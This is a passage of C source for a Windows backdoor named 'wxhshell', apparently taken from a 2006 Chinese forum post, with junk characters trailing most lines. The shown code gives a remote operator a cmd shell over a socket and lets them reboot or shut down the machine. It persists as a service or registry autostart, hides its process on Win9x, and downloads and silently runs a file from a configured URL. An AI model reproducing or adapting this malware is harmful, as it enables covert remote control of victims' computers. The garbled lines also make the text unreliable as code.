  case '?': { 44~ReN}`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F[O147&C  
    break; ,)d`_AD+5  
  } ,KM%/;1Dm  
  // 安装 ` W );+s  
  case 'i': { 0e#PN@  
    if(Install()) /@ g 8MUq7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E Lq1   
    else ;c]O*\/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k0PwAt)65  
    break; "v wLj:  
    } :epB:r  
  // 卸载 p`7d9MV^  
  case 'r': { q[P>s{"  
    if(Uninstall()) QaEiPn~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N lm}'Xt  
    else lU=VCuW!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [];wP '*  
    break; D2D+S  
    } MD1X1,fk  
  // 显示 wxhshell 所在路径 K\B!tk  
  case 'p': { &@|? %  
    char svExeFile[MAX_PATH]; paN=I=:*M  
    strcpy(svExeFile,"\n\r"); &-^*D%9  
      strcat(svExeFile,ExeFile); euT=]j  
        send(wsh,svExeFile,strlen(svExeFile),0); yyu-y0_  
    break; BHgs,  
    } OPq|4xu  
  // 重启 ,-EN{ed  
  case 'b': { Z|UVH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *wmkcifF;  
    if(Boot(REBOOT)) 't8!.k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:~UBs\)(  
    else { /o6ido  
    closesocket(wsh); 3"0QW4A  
    ExitThread(0); b0h\l#6  
    } [X@{xF^vBQ  
    break; U,yZ.1V^:  
    } }0 H<G0   
  // 关机 S3U]AH)C  
  case 'd': { -b+)Dp~$p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); # Dgkl  
    if(Boot(SHUTDOWN)) yRyRH%p)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7u^wO<  
    else { bL0]Yuh  
    closesocket(wsh); Citumc)E  
    ExitThread(0); $X.F=Kv  
    } rs>,p)  
    break; g]44|9x(W  
    } !U(S?:hvW  
  // 获取shell }2BNy9q@  
  case 's': { *1b0IQ$g  
    CmdShell(wsh); ;XZN0A2  
    closesocket(wsh); hr'?#K  
    ExitThread(0); Q2)5A& U\  
    break; XZ$g~r  
  } 6OC4?#96%'  
  // 退出 sP@XV/`3L6  
  case 'x': { 8aRmHy"9l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bw`?zd\*  
    CloseIt(wsh); ^_G#JJ\@$  
    break; &"tQpw5  
    } ny^uNIRPR  
  // 离开 }*-fh$QJ  
  case 'q': { p*cyW l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mx93D   
    closesocket(wsh);  r?0w5I  
    WSACleanup(); 5B8/"G  
    exit(1); *qL2=2  
    break; leizjL\P  
        } y<`:I|y  
  } $ <[r3  
  } ;*Y+.?>a  
5gx;Bp^_  
  // 提示信息 *)\y52z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5$Kv%U  
} .|L9}<  
  } GP ^^ K  
loq2+(  
  return; ^5 "yY2}-  
} ;Cx`RF w  
&];W#9"Z  
// shell模块句柄 n.5M6i/~a  
int CmdShell(SOCKET sock) HH(2  
{ ],R\oMYy|P  
STARTUPINFO si; -2U|G  
ZeroMemory(&si,sizeof(si)); )Rk(gd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  d*([!!i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Td^62D;  
PROCESS_INFORMATION ProcessInfo; /-@F|,O)$n  
char cmdline[]="cmd"; V~o'L#a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *E|3Vy{4  
  return 0; :N<o<qn  
} =-P<v2|e  
~$ ?85   
// 自身启动模式 <Z~Nz>'r  
int StartFromService(void) | z}VP-L  
{ .bh 7  
typedef struct UY.o,I> s  
{ @1pfH\m  
  DWORD ExitStatus; KV{  
  DWORD PebBaseAddress; ;uZq_^?:9&  
  DWORD AffinityMask; rO1N@kd/  
  DWORD BasePriority; a)+*Gf7?  
  ULONG UniqueProcessId; ), VF]  
  ULONG InheritedFromUniqueProcessId; 5X]f}6kT  
}   PROCESS_BASIC_INFORMATION; XL1x8IB  
VeFfkg4  
PROCNTQSIP NtQueryInformationProcess; ct(euPU  
6@(o8i   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +'[*ikxD=g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OCqknA  
5HAAaI  
  HANDLE             hProcess; /b4>0DXT5  
  PROCESS_BASIC_INFORMATION pbi; li')U  
{t'SA]|g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \4OU+$m  
  if(NULL == hInst ) return 0; 90<a'<\|  
yWH!v]S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U?:?NC=1{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FB~IO#E8W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G)3r[C^[k  
Qq.Ja%Zq  
  if (!NtQueryInformationProcess) return 0; 5]3Mj*u\  
uD4W@*PYr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eM7 F8j  
  if(!hProcess) return 0; -7I %^u  
J]NMqi q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'J0Ea\,if0  
z=rSb4"W  
  CloseHandle(hProcess); >dDcm  
P!&yYR\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ci3 b(KR  
if(hProcess==NULL) return 0; 7$L*nf  
E|VTbE YG  
HMODULE hMod; ICWHEot  
char procName[255]; V-dub{K  
unsigned long cbNeeded; Djp;\.$(  
gPpk0LZi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fcn@j#[J  
&D7Mv5i0@  
  CloseHandle(hProcess); }?U #@ h  
u$"Ew^C  
if(strstr(procName,"services")) return 1; // 以服务启动 @[ '?AsO  
.z,`{-7U  
  return 0; // 注册表启动 G$lE0_j2{  
} W=K+kB  
sg<c1  
// 主模块 a7z% )i;Z  
int StartWxhshell(LPSTR lpCmdLine) jq/CXYv  
{ JWxSN9.X  
  SOCKET wsl; jyRz53  
BOOL val=TRUE; 'z};tIOKJk  
  int port=0; c8o2* C$  
  struct sockaddr_in door; -}>H3hr  
> mP([]  
  if(wscfg.ws_autoins) Install(); AD'c#CT  
,YrPwdaTB  
port=atoi(lpCmdLine); !3*%-8bp  
RE;)#t?K  
if(port<=0) port=wscfg.ws_port; G|UeR=/  
m]VOw)mBF  
  WSADATA data; zwlz zqV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *W4~.peoE  
V67<Ky>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pvM`j86 _  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xZMAX}8v  
  door.sin_family = AF_INET; )EsFy6K:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "!o|^nN,  
  door.sin_port = htons(port); *Y ?&N2@c  
,Mn?h\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2cv=7!K4Uv  
closesocket(wsl); 5pxw[c53#  
return 1; ~/Kqkhq+c  
} 2&<&q J  
6?l|MU"Q.  
  if(listen(wsl,2) == INVALID_SOCKET) { ~:UAL}b{\~  
closesocket(wsl); ~=Fp0l)#  
return 1; <'P+2(Oi  
} Ke\FzZ]  
  Wxhshell(wsl); U]iZ3^8VT  
  WSACleanup(); ^F+7@*u  
Qy'-3GB  
return 0; 0&6(y* #Z  
3hR3)(+1  
} 04!akPP<  
+tv"j;z  
// 以NT服务方式启动 J['?ud}@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ].x`Fq3  
{ ztaSIMZ  
DWORD   status = 0; aN"dk-eK  
  DWORD   specificError = 0xfffffff; )m10IyUAY  
kO8oH8Vt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2D{`AJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fSm|anuKZe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X0]5I0YP  
  serviceStatus.dwWin32ExitCode     = 0; v ,)vW5jGI  
  serviceStatus.dwServiceSpecificExitCode = 0; SMHQh.O?5  
  serviceStatus.dwCheckPoint       = 0; .$r7q[  
  serviceStatus.dwWaitHint       = 0; {&)E$ M  
{9h`h08?z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RV6|sN[x>  
  if (hServiceStatusHandle==0) return; @?[}\9dW  
|\h<!xR  
status = GetLastError(); D~f[Rg  
  if (status!=NO_ERROR) -Rr Qv(  
{ M_#^zo "x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FmtV[C #  
    serviceStatus.dwCheckPoint       = 0; 5[rA>g~  
    serviceStatus.dwWaitHint       = 0; qa/VSk!{  
    serviceStatus.dwWin32ExitCode     = status; *>7Zc  
    serviceStatus.dwServiceSpecificExitCode = specificError; sKL"JA T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @D=i|f  
    return; Ug^vVc)  
  } A@ 4Oq  
Qr*7bE(a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +bcJm  
  serviceStatus.dwCheckPoint       = 0; ^$J.l+<hy  
  serviceStatus.dwWaitHint       = 0; 1(m[L=H5>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nvj KB)J  
} .^!uazPE0  
s!j vBy  
// 处理NT服务事件,比如:启动、停止 j{H,{x  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  u~j&g  
{ aumM\rY  
switch(fdwControl) N5@l[F7I  
{ ey) 8q.5  
case SERVICE_CONTROL_STOP: $ud\CU:r  
  serviceStatus.dwWin32ExitCode = 0; (p}N cn.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PQ4)kVT  
  serviceStatus.dwCheckPoint   = 0; n~v*  
  serviceStatus.dwWaitHint     = 0; Q`(h  
  { #TG.weTC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FK`M+ j  
  } S1d{! ` 3  
  return; G297)MFF  
case SERVICE_CONTROL_PAUSE: C_V5.6T!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5,K*IH  
  break; xSZ+6R|  
case SERVICE_CONTROL_CONTINUE: ?H(']3X5@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZD`0(CkXb  
  break; "A3V(~%!  
case SERVICE_CONTROL_INTERROGATE: %&S :W%qm?  
  break; j<_)Y(x>  
}; ?wbf)fbq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WxF0LhM  
} bWfT-Jewh  
$|!@$Aj  
// 标准应用程序主函数 9i/VvW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _J33u3v  
{ ?M@ff0  
@N+6qO}  
// 获取操作系统版本 -!pg1w06  
OsIsNt=GetOsVer(); 3`DwKv `+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x_BnWFP  
* odwg$  
  // 从命令行安装 kU[#. y=%p  
  if(strpbrk(lpCmdLine,"iI")) Install(); ? EXYLG  
fs%l j_t  
  // 下载执行文件  e6hfgVN  
if(wscfg.ws_downexe) { jij-pDQnv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C(lGW,!  
  WinExec(wscfg.ws_filenam,SW_HIDE); XXZ<r  
} xC.Tipn>  
"*0h=x$  
if(!OsIsNt) { zT"W(3  
// 如果时win9x,隐藏进程并且设置为注册表启动 "gGv>]3  
HideProc(); eU m,=s  
StartWxhshell(lpCmdLine); /&g~*AL  
} ]R8JBnA  
else 7q|51rZz  
  if(StartFromService()) 8d*W7>rq  
  // 以服务方式启动 jp P'{mc  
  StartServiceCtrlDispatcher(DispatchTable); Wd/m]]W8Q  
else tAH0o\1;  
  // 普通方式启动 W>(p4m  
  StartWxhshell(lpCmdLine); 3eJ"7sftW  
.]H1uoci|  
return 0; 2vx1M6a)L  
}
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只看该作者 1 发表于: 2006-10-10
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